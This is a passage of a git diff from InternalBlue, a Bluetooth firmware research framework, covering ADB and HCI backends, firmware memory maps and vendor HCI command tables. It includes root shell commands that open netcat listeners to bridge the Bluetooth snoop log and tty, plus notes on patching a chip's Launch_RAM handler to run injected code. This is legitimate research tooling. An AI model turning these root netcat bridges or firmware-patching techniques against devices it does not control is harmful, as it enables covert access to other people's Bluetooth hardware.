["su", "-c", "lsof | grep bluetooth | grep tty | awk '{print $NF}'"]
)
.recvall()
.strip()
.decode("utf-8")
)
log.info("Android Bluetooth interface %s...", interface)
if logfile == "":
log.critical(
"Could not find Bluetooth logfile. Enable Bluetooth snoop logging."
)
return False
if interface == "":
log.critical("Could not find Bluetooth interface. Enable Bluetooth.")
return False
# spawn processes
adb.process(["su", "-c", "tail -f -n +0 %s | nc -l -p 8872" % logfile])
adb.process(["su", "-c", "nc -l -p 8873 >/sdcard/internalblue_input.bin"])
adb.process(
["su", "-c", "tail -f /sdcard/internalblue_input.bin >>%s" % interface]
)
sleep(2)
except PwnlibException as e:
log.warn("Serial scripting setup failed: " + str(e))
return False
if self.device().shell("su -c 'which nc'") == "":
self.logger.critical("nc not found, install busybox!")
return False
# automatically detect the proper serial device with lsof
logfile = self.device().shell("su -c \"lsof | grep btsnoop_hci.log | tail -n 1\" | awk '{print $NF}'")[:-1]
self.logger.info("Android btsnoop logfile %s...", logfile)
interface = self.device().shell("su -c \"lsof | grep bluetooth | grep tty\" | awk '{print $NF}'")[:-1]
self.logger.info("Android Bluetooth interface %s...", interface)
if logfile == "":
self.logger.critical("Could not find Bluetooth logfile. Enable Bluetooth snoop logging.")
return False
if interface == "":
self.logger.critical("Could not find Bluetooth interface. Enable Bluetooth.")
return False
# spawn processes
threading.Thread(target=self._spawn, args=(f"su -c \"tail -f -n +0 {logfile} | nc -l -p 8872\"",)).start()
threading.Thread(target=self._spawn, args=(f"su -c \"nc -l -p 8873 >/sdcard/internalblue_input.bin\"",)).start()
threading.Thread(target=self._spawn, args=(f"su -c \"tail -f /sdcard/internalblue_input.bin >>{interface}\"",)).start()
sleep(2)
finally:
context.log_level = saved_loglevel
return True
-172
View File
@@ -1,172 +0,0 @@
#!/usr/bin/env python3
from future import standard_library
import datetime
import time
import socket
import struct
import queue as queue2k
from . import hci
from .core import InternalBlue
standard_library.install_aliases()
# BTstack Daemon defaults
BTSTACK_SERVER_HOST = "localhost"
BTSTACK_SERVER_TCP_PORT = 13333
# BTstack defines
OGF_BTSTACK = 0x3d
BTSTACK_EVENT_STATE = 0x60
BTSTACK_EVENT_POWERON_FAILED = 0x62
class BTstackCore(InternalBlue):
global BTSTACK_SERVER_TCP_PORT
global BTSTACK_SERVER_HOST
def __init__(
self,
tcp_port=BTSTACK_SERVER_TCP_PORT,
tcp_host=BTSTACK_SERVER_HOST,
queue_size=1000,
btsnooplog_filename=None,
log_level='info',
data_directory=".",
replay=False
):
super(BTstackCore, self).__init__(
queue_size,
btsnooplog_filename,
log_level,
data_directory,
replay
)
self.tcp_port = tcp_port
self.tcp_host = tcp_host
self.s_inject = None
self.serial = False
def device_list(self):
"""
Get a list of the connected devices
"""
if self.exit_requested:
self.shutdown()
if self.running:
self.logger.warn("Already running. call shutdown() first!")
return []
return ["BTstack Daemon"]
def _recvPacket(self):
# format: packet type, channel, len, payload
header = self.s_inject.recv(6)
(packet_type, channel, length) = struct.unpack("<HHH", header)
payload = self.s_inject.recv(length)
return packet_type, channel, length, payload
def local_connect(self):
# Connect to BTstack Daemon via TCP
return self._setupSockets()
def _recvThreadFunc(self):
"""
This is the run-function of the recvThread. It receives HCI packets from the
btstack socket.
Received HCI packets are being put into the queues inside registeredHciRecvQueues and
passed to the callback functions inside registeredHciCallbacks.
The thread stops when exit_requested is set to True. It will do that on its own
if it encounters a fatal error or the stackDumpReceiver reports that the chip crashed.
"""
self.logger.debug("Receive Thread started.")
while not self.exit_requested:
# receive packet
(packet_type, channel, length, payload) = self._recvPacket()
received_time = datetime.datetime.now()
# Put relevant info into a tuple. The HCI packet is parsed with the help of hci.py.
orig_len = length
inc_len = length
# flags
# - 1 for incoming
# - 2 for command/event
flags = 1
if packet_type == 4:
flags |= 2
drops = 0
record = (hci.parse_hci_packet(bytes([packet_type]) + payload), orig_len, inc_len, flags, drops, received_time)
# Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
for queue, filter_function in self.registeredHciRecvQueues:
if filter_function == None or filter_function(record):
try:
queue.put(record, block=False)
except queue2k.Full:
self.logger.warning(
"recvThreadFunc: A recv queue is full. dropping packets.."
)
# Call all callback functions inside registeredHciCallbacks and pass the
# record as argument.
for callback in self.registeredHciCallbacks:
callback(record)
self.logger.debug("Receive Thread terminated.")
def _setupSockets(self):
"""
Start the framework by connecting to the BTstack daemon via TCP and tell it to power up
"""
self.logger.info("Connect to server on %s:%u" % (self.tcp_host, self.tcp_port))
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
timeout = time.time() + 3
btstack_state = "OFF"
try:
self.s_inject.connect((self.tcp_host, self.tcp_port))
# send power on
power_on = struct.pack("<HBB", (OGF_BTSTACK << 10) | 2, 1, 1)
header = struct.pack("<HHH", 1, 0, len(power_on))
out = header + power_on
self.s_inject.send(out)
# wait for state working or failed
while (not self.exit_requested) and btstack_state == 'OFF':
(packet_type, channel, length, payload) = self._recvPacket()
if packet_type == 4:
if length > 0:
if payload[0] == BTSTACK_EVENT_STATE and length == 3 and payload[2] == 2:
btstack_state = "WORKING"
self.logger.info("BTstack working")
if payload[0] == BTSTACK_EVENT_POWERON_FAILED:
btstack_state = "FAILED"
self.logger.error("BTstack startup failed")
except socket.error as e:
if time.time() > timeout:
self.logger.error("[!] Connection error: %s" % e)
return False
connected = btstack_state == "WORKING"
return connected
def _teardownSockets(self):
"""
Close s_inject sockets.
"""
if self.s_inject is not None:
self.s_inject.close()
self.s_inject = None
return False
+231 -1744
View File
File diff suppressed because it is too large Load Diff
+2168
View File
File diff suppressed because it is too large Load Diff
+246 -272
View File
File diff suppressed because it is too large Load Diff
+6 -10
View File
@@ -30,8 +30,7 @@ from typing import List
from internalblue import Address
from internalblue.utils.internalblue_logger import getInternalBlueLogger
from pwn import log
class MemorySection(object):
@@ -114,12 +113,9 @@ class Firmware(object):
self.version = version
# get and store 'InternalBlue' logger
logger = getInternalBlueLogger()
if version:
# get LMP Subversion
logger.info(
log.info(
"Chip identifier: 0x%04x (%03d.%03d.%03d)"
% (version, version >> 13, (version & 0xF00) >> 8, version & 0xFF)
)
@@ -132,12 +128,12 @@ class Firmware(object):
__name__ + "_" + hex(version) + "_iphone", fromlist=[""]
)
)
logger.info("Using fw_" + hex(version) + "_iphone.py")
log.info("Using fw_" + hex(version) + "_iphone.py")
else:
self.firmware = self._module_to_firmware_definition(
__import__(__name__ + "_" + hex(version), fromlist=[""])
)
logger.info("Using fw_" + hex(version) + ".py")
log.info("Using fw_" + hex(version) + ".py")
except ImportError:
self.firmware = None
pass
@@ -147,7 +143,7 @@ class Firmware(object):
__import__(__name__ + "_default", fromlist=[""])
)
logger.info("Loaded firmware information for " + self.firmware.FW_NAME + ".")
log.info("Loaded firmware information for " + self.firmware.FW_NAME + ".")
def _module_to_firmware_definition(self, fw: ModuleType) -> FirmwareDefinition:
"""
@@ -161,7 +157,7 @@ class Firmware(object):
for name, cls in fw.__dict__.items()
if isinstance(cls, type)
and issubclass(cls, FirmwareDefinition)
and cls is not FirmwareDefinition
and not cls is FirmwareDefinition
}
if len(_types) == 1:
-76
View File
@@ -1,76 +0,0 @@
# fw_0x420e.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class CYW20820A1(FirmwareDefinition):
"""
CYW20820 is a Cypress evaluation board, the newest one that is currently available.
Known issues:
* `Launch_RAM` does not terminate and crashes the board.
To get this working anyway:
The `Launch_RAM` handler HCI callback is at `0xF2884` and it can be overwritten with the
address of the memory snippet you want to launch. For example, at `0x219000` there is some
free memory. Put the function there. Then:
`internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
"""
# Firmware Infos
# Evaluation Kit CYW920820
FW_NAME = "CYW20820A1"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
MemorySection(
0x00270000, 0x0027FFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00310000, 0x00321FFF, False, True), # HW Regs Cortex M3 (readable)
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
LAUNCH_RAM = 0xF2884
HCI_EVENT_COMPLETE = 0x1179E
# Enable enhanced advertisement reports (bEnhancedAdvReport)
ENHANCED_ADV_REPORT_ADDRESS = Address(0x20294C)
-49
View File
@@ -1,49 +0,0 @@
#!/usr/bin/env python
# fw_0x3032.py
#
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM4364B3(FirmwareDefinition):
# Firmware Infos
# MacBook Pro 2019-2020, UART variant, 11.1
FW_NAME = "BCM4364B3"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x0009FFFF, True, False), # Internal ROM
MemorySection(0x00100000, 0x0011FFFF, False, True), # Patches
MemorySection(0x00200000, 0x0025FFFF, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x00307FFF, False, True),
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_VALUE_TABLE_ADDRESS = 0x100000
PATCHRAM_NUMBER_OF_SLOTS = 128 # 78 slots used on macOS 11.1
PATCHRAM_ALIGNED = False
+2 -2
View File
@@ -195,7 +195,7 @@ class BCM4335C0(FirmwareDefinition):
add.w r6, r0, r7, lsl #5
ldrb r0, [r6, #0x1f]
cmp r0, #1
// skip check in connection struct
// skip check in conection struct
ldrb r0, [r4, #0xc] // ptr_to_opcode = buffer_cpy + 12;
lsrs r1, r0, #1 // buffer_cpy[12] >> 1
add.w r0, r4, #0x0c
@@ -203,7 +203,7 @@ class BCM4335C0(FirmwareDefinition):
// enable for debugging: ignore the remaining code and continue like normal opcode
//b 0xF870
// now we regularly would call the opcode conversion table function
// now we regularily would call the opcode conversion table function
// however, we do not use lm_getLmpInfoType_3F2D8 but insert our own table here
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
ldr r0, =table_entry
-56
View File
@@ -1,56 +0,0 @@
# fw_0x6308.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2021 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
class BCM4378B1(FirmwareDefinition):
# Firmware Infos
# iPhone 12
FW_NAME = "BCM4387C2"
# Memory Sections
# start, end, is_rom? is_ram?
# TODO hardware registers not contained in here yet
SECTIONS = [
MemorySection(0x00000000, 0x0016FFFF, True, False), # Internal ROM
MemorySection(
0x001A0000, 0x001DFFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00200000, 0x0026FFFF, False, True), # Internal Memory Cortex M3
MemorySection(
0x00270000, 0x002C7FFF, False, True
), # Internal Memory Patchram Contents, Part 2
]
# Patchram, relocated since a loooong time :D
PATCHRAM_TARGET_TABLE_ADDRESS = 0x360000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x360404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x1A0000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# iPhone 12: there are two patchram regions, one at 0x1a0000 and one at 0x295000,
# also starting with a target table address, and `info patchram` seems to
# map these correctly.
+47 -75
View File
@@ -26,16 +26,25 @@
# Software.
from __future__ import absolute_import
from builtins import hex
from builtins import object
from builtins import range
from datetime import datetime
from builtins import object
from enum import Enum
from datetime import datetime
from internalblue.utils import flat
from internalblue.utils.internalblue_logger import getInternalBlueLogger
from internalblue.utils.packing import p8, u8, p16, u16, p32, u32, bits, unbits, bits_str
from internalblue.utils.pwnlib_wrapper import (
p8,
u16,
p16,
unbits,
bits_str,
u8,
bits,
p32,
u32,
)
from internalblue.utils.pwnlib_wrapper import log
from pwnlib.util.packing import flat
class HCI_COMND(Enum):
@@ -186,7 +195,7 @@ class HCI_COMND(Enum):
Read_LE_Host_Support = 0xC6C
Write_LE_Host_Support = 0xC6D
Set_MWS_Channel_Parameters = 0xC6E
#Set_External_Frame_Configuration = 0xC6F #TODO
Set_External_Frame_Configuration = 0xC6F
Set_MWS_Signaling = 0xC70
Set_MWS_Transport_Layer = 0xC71
Set_MWS_Scan_Frequency_Table = 0xC72
@@ -265,11 +274,11 @@ class HCI_COMND(Enum):
LE_Test_End = 0x201F
LE_Remote_Connection_Parameter_Request_Reply = 0x2020
LE_Remote_Connection_Parameter_Request_Negative_Reply = 0x2021
VSC_CustomerExtension_or_GetPowerConsumption = 0xFC00
VSC_CustomerExtension = 0xFC00
VSC_WriteBdAddr = 0xFC01
VSC_DumpSRAM = 0xFC02
VSC_ChannelClassConfig = 0xFC03
#VSC_READ_PAGE_SCAN_REPETITION_MODE = 0xFC04
VSC_READ_PAGE_SCAN_REPETITION_MODE = 0xFC04
VSC_WRITE_PAGE_SCAN_REPETITION_MODE = 0xFC05
VSC_READ_PAGE_RESPONSE_TIMEOUT = 0xFC06
VSC_WRITE_PAGE_RESPONSE_TIMEOUT = 0xFC07
@@ -329,8 +338,7 @@ class HCI_COMND(Enum):
VSC_ReadRawRssi = 0xFC48
# VSC_ChannelClassConfig = 0XFC49
VSC_Write_RAM = 0xFC4C
#VSC_Write_RAM = 0xC6F
VSC_Read_RAM = 0xFC4D #TODO
VSC_Read_RAM = 0xFC4D
VSC_Launch_RAM = 0xFC4E
VSC_InstallPatches = 0xFC4F
VSC_RadioTxTest = 0xFC51
@@ -486,16 +494,12 @@ class HCI_COMND(Enum):
VSC_PiconetClockAdjustment = 0xFD29
VSC_ReadRetransmissionStatus = 0xFD2A
VSC_SetTransmitPowerRange = 0xFD2F
VSC_CountryCodeSelect = 0xFD31
VSC_CellOnOffDebug = 0xFD32
VSC_PageInquiryTxSuppression = 0xFD33
VSC_RandomizeNativeClock = 0xFD35
VSC_StoreFactoryCalibrationData = 0xFD36
VSC_ReadSupportedVSCs = 0xFD3B
VSC_LECreateExtendedAdvertiseInstance = 0xFD3A
VSC_LERemoveExtendedAdvertiseInstance = 0xFD3B
VSC_LEWriteLocalSupportedFeatures = 0xFD3C # or LE Set Extended Advertising Parameters
VSC_LEReadRemoteSupportedBRCMFeatures = 0xFD3E # or LE Set Extended Scan Response Data
VSC_LEWriteLocalSupportedFeatures = 0xFD3C
VSC_LEReadRemoteSupportedBRCMFeatures = 0xFD3E
VSC_BcsTimeline = 0xFD40
VSC_BcsTimelineBroadcastReceive = 0xFD41
VSC_ReadDynamicMemoryPoolStatistics = 0xFD42
@@ -522,56 +526,27 @@ class HCI_COMND(Enum):
VSC_SetSpecialSniffTransitionEnable = 0xFD71
VSC_EnableBTSync = 0xFD73
VSC_hciulp_handleBTBLEHighPowerControl = 0xFD79
VSC_MaskedTracesDebug = 0xFD7D
VSC_HandleCustomerEnableHALinkCommands = 0xFD7C
VSC_DWPTestCommands = 0xFD7D # or Write Number of Completed Packets
VSC_DWPTestCommands = 0xFD7D
VSC_Olympic_LTE_Settings = 0xFD7F
VSC_PowerLdoDuringSleep = 0xFD81
VSC_WriteLERemotePublicAddress = 0xFD82
VSC_1SecondTimerCommands = 0xFD86
VSC_ForceWLANChannel = 0xFD88
VSC_DisableTPC = 0xFD89
VSC_GizmoDetected = 0xFD8A
VSC_SVTConfigSetup = 0xFD8B
VSC_HandleCustomerReadHADeltaCommands = 0xFD8F
VSC_SetupRSSCommands = 0xFD9A
VSC_SetUartAutoResume = 0xFD9B
VSC_SetupRSSLocalCommands = 0xFD9C
VSC_WriteLocalHostStateLE = 0xFDA0
VSC_AudioBufferCommands = 0xFDA1
VSC_HealthStatusReport = 0xFDA4
VSC_ChangeConnectionPriority = 0xFDA8
VSC_SamSetupCommand = 0xFDAA
VSC_bthci_cmd_ble_enhancedTransmitterTest_hopping = 0xFDAB
VSC_CoExDebugCounters = 0xFDAF
VSC_LEClearAllMatchingRules = 0xFDB2
VSC_HighPowerBluetoothClassic = 0xFDB3
VSC_HP_EDRv2 = 0xFCB9
VSC_Read_Inquiry_Transmit_Power = 0xFDBB # or LE Remove Zone
VSC_LEWriteFilteringFeatureSet = 0xFDBD
VSC_Enable_PADGC_Override = 0xFDBE # or LE Enable Asymmetric Latency
VSC_Handle_coex_debug_counters = 0xFDAF
VSC_Read_Inquiry_Transmit_Power = 0xFDBB
VSC_Enable_PADGC_Override = 0xFDBE
VSC_WriteTxPowerAFHMode = 0xFDCB
VSC_LeConfigureScanParameters = 0xFDC0
VSC_LePrioritizationThreshold = 0xFDC1
VSC_setMinimumNumberOfUsedChannels = 0xFDCD
VSC_HandleBrEdrLinkQualityStats = 0xFDCE
VSC_SetHostAssistedAfhMaps = 0xFDD1
VSC_SetLighthouseParameters = 0xFDD2
VSC_LighthouseControl = 0xFDD3
VSC_LighthouseDebugQuery = 0xFDD4
VSC_ReadLocalFeatures = 0xFDDA
VSC_HdrChangeConnectionPacketType = 0xFDDB
VSC_HdrSetupSynchronousConnection = 0xFDDC
VSC_EnhancedLinkQuelityStats = 0xFDDD
VSC_EnableHostAssistedAfhMapsDiversity = 0xFDDE
VSC_Diag = 0xFDEA
VSC_EnhancedPowerStats = 0xFDF0
VSC_HdrControl = 0xFDFD
VSC_HdrConfiguration = 0xFDFE
VSC_MagnetStatisticControl = 0xFE00
VSC_HdrAcceptSynchronousConnection = 0xFE04
VSC_EpaGpioCommand = 0xFE08
VSC_ReadProprietaryRemoteFeatures = 0xFE0A
VSC_SectorErase = 0xFF5E
VSC_Chip_Erase = 0xFFCE
VSC_EnterDownloadMode = 0xFFED
@@ -904,7 +879,7 @@ class HCI_Event(HCI):
if code_int in d:
return d[code_int]
getInternalBlueLogger().warning("Hci event not found: %s" % code)
log.warning("Hci event not found: %s" % code)
return False
@@ -955,11 +930,10 @@ def parse_hci_packet(data):
class StackDumpReceiver(object):
memdump_addr = None
memdumps = {}
stack_dump_has_happened = False
stack_dump_has_happend = False
def __init__(self, data_directory="."):
self.data_directory = data_directory
self.logger = getInternalBlueLogger()
self.stack_dump_filename = data_directory + ("/internalblue_stackdump_%s.bin" % datetime.now())
def recvPacket(self, record):
@@ -995,14 +969,14 @@ class StackDumpReceiver(object):
if self.memdump_addr is None:
self.memdump_addr = addr
self.memdumps[addr - self.memdump_addr] = bytes(data[4:]) # convert from bytearray to bytes
self.logger.debug("Stack dump handling addr %08x", addr - self.memdump_addr)
log.debug("Stack dump handling addr %08x", addr - self.memdump_addr)
def finishStackDump(self):
"""
Write the stack dump to a file once it is finished.
"""
dump = flat(self.memdumps, filler=0) # flatten, as we have one entry per address chunk
self.logger.warning(
dump = flat(self.memdumps) # flatten, as we have one entry per address chunk
log.warn(
"Stack dump @0x%08x written to %s!"
% (self.memdump_addr, self.stack_dump_filename)
)
@@ -1010,10 +984,8 @@ class StackDumpReceiver(object):
f.write(dump)
f.close()
self.stack_dump_filename = self.stack_dump_filename + '-dup' # might be called twice
# Shut down:
self.stack_dump_has_happened = True
self.stack_dump_has_happend = True
def handleNexus5StackDump(self, hcipkt):
checksum_correct = self.verifyChecksum(hcipkt.data[5:])
@@ -1022,7 +994,7 @@ class StackDumpReceiver(object):
if packet_type == 0x2C:
data = hcipkt.data[6:]
values = [u32(data[i : i + 4]) for i in range(0, 64, 4)]
self.logger.debug(
log.debug(
"Stack Dump (%s):\n%s"
% (
"checksum correct" if checksum_correct else "checksum NOT correct",
@@ -1031,7 +1003,7 @@ class StackDumpReceiver(object):
)
if data[0] == 0x02:
# This is the second stack dump event (contains register values)
self.logger.warn(
log.warn(
"Received Stack-Dump Event (contains %d registers):" % (data[1])
)
registers = (
@@ -1042,7 +1014,7 @@ class StackDumpReceiver(object):
"r2: 0x%08x r3: 0x%08x r4: 0x%08x r5: 0x%08x r6: 0x%08x\n"
% tuple(values[6:11])
)
self.logger.warn(registers)
log.warn(registers)
return True
elif packet_type == 0xF0: # RAM dump
@@ -1063,7 +1035,7 @@ class StackDumpReceiver(object):
if packet_type in [0x2C, 0x4C]:
data = hcipkt.data[9:]
values = [u32(data[i : i + 4]) for i in range(0, 64, 4)]
self.logger.debug(
log.debug(
"Stack Dump (%s) [packet_type=0x%x]:\n%s"
% (
"checksum correct" if checksum_correct else "checksum NOT correct",
@@ -1074,7 +1046,7 @@ class StackDumpReceiver(object):
if packet_type == 0x2C and data[0] == 0x02:
# This is the second stack dump event (contains register values)
self.logger.warn(
log.warn(
"Received Stack-Dump Event (contains %d registers):" % (data[1])
)
registers = (
@@ -1085,7 +1057,7 @@ class StackDumpReceiver(object):
"r2: 0x%08x r3: 0x%08x r4: 0x%08x r5: 0x%08x r6: 0x%08x\n"
% tuple(values[6:11])
)
self.logger.warn(registers)
log.warn(registers)
return True
elif packet_type == 0xF0: # RAM dump
@@ -1123,7 +1095,7 @@ class StackDumpReceiver(object):
checksum_correct = self.verifyChecksum(hcipkt.data[3:])
packet_type = hcipkt.data[2]
self.logger.debug("packet type %x", packet_type)
log.debug("packet type %x", packet_type)
# TODO CoreDumpInfo (shows LMP/HCI version, memory dumps)
@@ -1131,7 +1103,7 @@ class StackDumpReceiver(object):
if packet_type == 0x2C:
data = hcipkt.data[4:]
values = [u32(data[i : i + 4]) for i in range(0, 64, 4)]
self.logger.debug(
log.debug(
"Stack Dump (%s):\n%s"
% (
"checksum correct" if checksum_correct else "checksum NOT correct",
@@ -1140,7 +1112,7 @@ class StackDumpReceiver(object):
)
if data[0] == 0x02:
# This is the second stack dump event (contains register values)
self.logger.warn(
log.warn(
"Received Evaluation Stack-Dump Event (contains %d registers):"
% (data[1])
)
@@ -1152,7 +1124,7 @@ class StackDumpReceiver(object):
"r2: 0x%08x r3: 0x%08x r4: 0x%08x r5: 0x%08x r6: 0x%08x\n"
% tuple(values[6:11])
)
self.logger.warn(registers)
log.warn(registers)
return True
# CoreDumpRAMImage
@@ -1165,7 +1137,7 @@ class StackDumpReceiver(object):
# Last packet produced by CoreDumpRAMImage
elif packet_type == 0x78: # RAM dump (last frame), TODO not sure if this works
# This is the last pkt ouput:
self.logger.info("End of stackdump block...")
log.info("End of stackdump block...")
self.finishStackDump()
return True
@@ -1175,7 +1147,7 @@ class StackDumpReceiver(object):
# address change from 0001fe38 to packet type e8 and then it's computing addr -0130000
# negative addr does not work with finishStackDump()
# so even though the last packet is 0x40, let's just finish on 0xe8
self.logger.info(
log.info(
"End of first stackdump block, writing to file and skipping second..."
)
self.finishStackDump()
@@ -1199,7 +1171,7 @@ class StackDumpReceiver(object):
if packet_type == 0x90:
data = hcipkt.data[4:]
values = [u32(data[i : i + 4]) for i in range(0, 64 * 2, 4)]
self.logger.debug(
log.debug(
"Stack Dump (%s):\n%s"
% (
"checksum correct" if checksum_correct else "checksum NOT correct",
@@ -1207,7 +1179,7 @@ class StackDumpReceiver(object):
)
)
# Values different than in other stack dump formats, experimental output!
self.logger.warn(
log.warn(
"Received S10 Stack-Dump Event (contains %d registers):" % (data[1])
)
registers = (
@@ -1218,10 +1190,10 @@ class StackDumpReceiver(object):
"r2: 0x%08x r3: 0x%08x r4: 0x%08x r5: 0x%08x r6: 0x%08x\n"
% (values[21], values[22], values[23], values[24], values[25])
)
self.logger.warn(registers)
log.warn(registers)
return True
# self.logger.info("%x" % u32(hcipkt.data[8:12]))
# log.info("%x" % u32(hcipkt.data[8:12]))
# no last packet for S10e, just the size counts here... also is sometimes longer and sometimes shorter
if packet_type == 0xF0 and u32(hcipkt.data[8:12]) == 0x230080:
# This is the last pkt ouput:
+56 -114
View File
@@ -2,38 +2,27 @@
from __future__ import absolute_import
import datetime
import fcntl
import queue as queue2k
import socket
import struct
import threading
from builtins import range
from builtins import str
from builtins import zip
from ctypes import *
from typing import List, cast, TYPE_CHECKING
from future import standard_library
from . import hci
standard_library.install_aliases()
from builtins import str
from builtins import zip
from builtins import range
import datetime
from internalblue.utils.pwnlib_wrapper import log, context, p32, u16, p16, u32
import fcntl
from .core import InternalBlue
from .utils.packing import p16, u16, p32, u32
from . import hci
import queue as queue2k
import threading
from typing import List, cast, TYPE_CHECKING
if TYPE_CHECKING:
from internalblue import Device
standard_library.install_aliases()
class sockaddr_hci(Structure):
_fields_ = [
("sin_family", c_ushort),
("hci_dev", c_ushort),
("hci_channel", c_ushort),
]
# from /usr/include/bluetooth/hci.h:
# define HCIDEVUP _IOW('H', 201, int)
@@ -56,25 +45,25 @@ HCIGETDEVINFO = _IOR(ord("H"), 211, 4)
class HCICore(InternalBlue):
def __init__(
self,
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
data_directory=".",
replay=False,
user_channel=False,
self,
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
fix_binutils="True",
data_directory=".",
replay=False,
):
super(HCICore, self).__init__(
queue_size,
btsnooplog_filename,
log_level,
fix_binutils,
data_directory,
replay,
)
self.btsnooplog_file_lock = threading.Lock()
self.serial = False
self.doublecheck = False
self.user_channel = user_channel
def getHciDeviceList(self):
# type: () -> List[Device]
@@ -94,7 +83,7 @@ class HCICore(InternalBlue):
s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
# Ticket 6: does not run on Windows with Kali subsystem
except socket.error:
self.logger.warn(
log.warn(
"Opening a local Bluetooth socket failed. Not running on native Linux?"
)
return []
@@ -105,12 +94,12 @@ class HCICore(InternalBlue):
arg += b"\x00" * (8 * 16)
devices_raw = fcntl.ioctl(s.fileno(), HCIGETDEVLIST, arg)
num_devices = u16(devices_raw[:2])
self.logger.debug("Found %d HCI devices via ioctl(HCIGETDEVLIST)!" % num_devices)
log.debug("Found %d HCI devices via ioctl(HCIGETDEVLIST)!" % num_devices)
device_list = []
for dev_nr in range(num_devices):
dev_struct_start = 4 + 8 * dev_nr
dev_id = u16(devices_raw[dev_struct_start: dev_struct_start + 2])
dev_id = u16(devices_raw[dev_struct_start : dev_struct_start + 2])
# arg is struct hci_dev_info (/usr/include/bluetooth/hci.h)
arg = p16(dev_id) # di->dev_id = <device_id>
arg += b"\x00" * 20 # Enough space for name, bdaddr and flags
@@ -162,7 +151,7 @@ class HCICore(InternalBlue):
"""
if dev_id < 0 or dev_id > 16:
self.logger.warn("bringHciDeviceUp: Invalid device id: %d." % dev_id)
log.warn("bringHciDeviceUp: Invalid device id: %d." % dev_id)
return False
# Open bluetooth socket to execute ioctl's:
@@ -172,11 +161,11 @@ class HCICore(InternalBlue):
try:
fcntl.ioctl(s.fileno(), HCIDEVUP, dev_id)
s.close()
self.logger.info("Device with id=%d was set up successfully!" % dev_id)
log.info("Device with id=%d was set up successfully!" % dev_id)
return True
except IOError as e:
s.close()
self.logger.warn("Error returned by ioctl: %s" % str(e))
log.warn("Error returned by ioctl: %s" % str(e))
return False
def device_list(self):
@@ -187,7 +176,7 @@ class HCICore(InternalBlue):
return [(self, "hci_replay", "hci: ReplaySocket")]
device_list = []
for dev in self.getHciDeviceList():
self.logger.info(
log.info(
"HCI device: %s [%s] flags=%d<%s>"
% (
dev["dev_name"],
@@ -206,7 +195,7 @@ class HCICore(InternalBlue):
)
if len(device_list) == 0:
self.logger.info("No connected HCI device found")
log.info("No connected HCI device found")
return cast("List[Device]", device_list)
@@ -215,16 +204,11 @@ class HCICore(InternalBlue):
"""
if not self.interface:
self.logger.warn("No HCI identifier is set")
log.warn("No HCI identifier is set")
return False
if self.user_channel:
